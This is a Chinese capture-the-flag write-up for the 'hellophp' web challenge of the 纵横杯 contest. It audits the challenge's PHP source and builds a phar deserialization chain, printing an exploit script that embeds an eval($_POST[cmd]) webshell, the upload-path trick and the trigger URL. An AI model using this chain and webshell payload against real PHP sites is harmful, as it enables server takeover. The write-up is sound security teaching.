纵横杯web复现

前言

纵横杯已经过去很长一段时间了,当时刚好赶上学校的考试复习,只抽空看了一下第一题sql注入的,没写出来,刚好github上面有纵横杯web题目源码,于是在自己的VPS上搭建了环境进行复现。

hellophp

这题我是直接看的源码来分析的,比赛时候是可以通过扫描器,扫到www.zip的,然后就是代码审计。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
$title='XXX信息管理系统';
$commnet='XXXCMS是一种可以综合管理网站上各种栏目的通用工具,新闻、产品、文档、下载、音乐、教学视频……,通过模版技术,他们都在同一套系统里完成更新和维护。XXXCMS 是目前国内最强大、最稳定的中小型门户网站建设解决方案之一,基于 PHP MySQL 的技术开发,全部源码开放。';
$logo_url='./static/default.jpg';
$admin_user='admin';
$admin_pass='admin888';
$footer=<<<EOD
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" ></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.0/dist/js/bootstrap.min.js"></script>
</body>
</html>
EOD;

config.php文件里面有一些默认的参数,title、comment、logo_url,同时也给了我们管理员账号密码,我们在login.php上直接登陆,跳转到admin.php 我们来看一下 class.php这个类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
include('config.php');
class Config{
public $title;
public $comment;
public $logo_url;
public function __construct()
{
global $title;
global $comment;
global $logo_url;
$this->title= $title;
$this->comment = $comment;
$this->logo_url = $logo_url;
}
public function upload_logo(){
if(!empty($_FILES)){
$path='./static/'.md5(time()).'.jpg';
move_uploaded_file($_FILES["file"]["tmp_name"],'./static/'.md5(time()).'.jpg');
}
}
public function update_title($title,$comment){
#垃圾老板就给我这么点钱,叫我怎么帮你做事。
}
public function __destruct(){
$file = file_get_contents(pathinfo($_SERVER['SCRIPT_FILENAME'])['dirname'].'/config.php');
$file = preg_replace('/\$title=\'.*?\';/', "\$title='$this->title';", $file);
$file = preg_replace('/\$comment=\'.*?\';/', "\$commnet='$this->comment';", $file);
file_put_contents(pathinfo($_SERVER['SCRIPT_FILENAME'])['dirname'].'/config.php', $file);
}
}
$config=new Config;
?>

可以看到这里调用 destruct函数是可以往 config.php里面写东西的,一开始会觉得很奇怪,就是获取config.php的内容,然后又往里面写它自己的内容,而看上去config.php 里面的东西似乎被写死了,但是仔细看,我们可以发现 :

1
2
3
global $title;
global $comment;
global $logo_url;

没错,这三个变量被定义成了全局变量,所以后面我们修改的值是可以造成覆盖的,现在的问题转换为怎么修改 这三个变量的值,很容易想到反序列化,但是没有反序列化函数啊,这里就想到使用phar反序列化admin.php 上是存在上传点的,可以传我们构造的文件。怎么触发呢?我们可以看到index.php 文件中:if(isset($_GET['img'])&&file_exists($_GET['img'])) 这里有一个 file_exists 函数是支持phar的,所以完整利用链就形成了。

注意几个细节:

1
2
3
4
5
6
7
public function upload_logo()
{ if(!empty($_FILES))
{
$path='./static/'.md5(time()).'.jpg';
move_uploaded_file($_FILES["file"]["tmp_name"],'./static/'.md5(time()).'.jpg');
}
}

上传文件的路径是需要我们自己推出来的,无回显。上传之后我们可以通过网络响应头找到时间,然后在线转换一下就行了

1.png

在线时间转换网站:https://www.unixtimestamp.com/index.php

2.png

另外一个细节:

我们构造的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Config
{
public $title='aaaaa\';?><?php eval($_POST[cmd]);?>;\'';
public $comment;
public $logo_url;
}
$a = new Config();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

注意到 构造title参数的时候,这里是用了引号的,目的是为了闭合引号。不然就会当做普通的字符串了,不会执行。

最后的payload:

admin.php上传点,上传我们构造的phar.phar文件,算出路径,然后在index.php文件处触发pharhttp://106.54.90.137:2342/index.php?img=phar://static/bfc0e9b2a3070c836504972eb01c623c.jpg

于是马儿就被写入进去了,就可以愉快的玩耍了~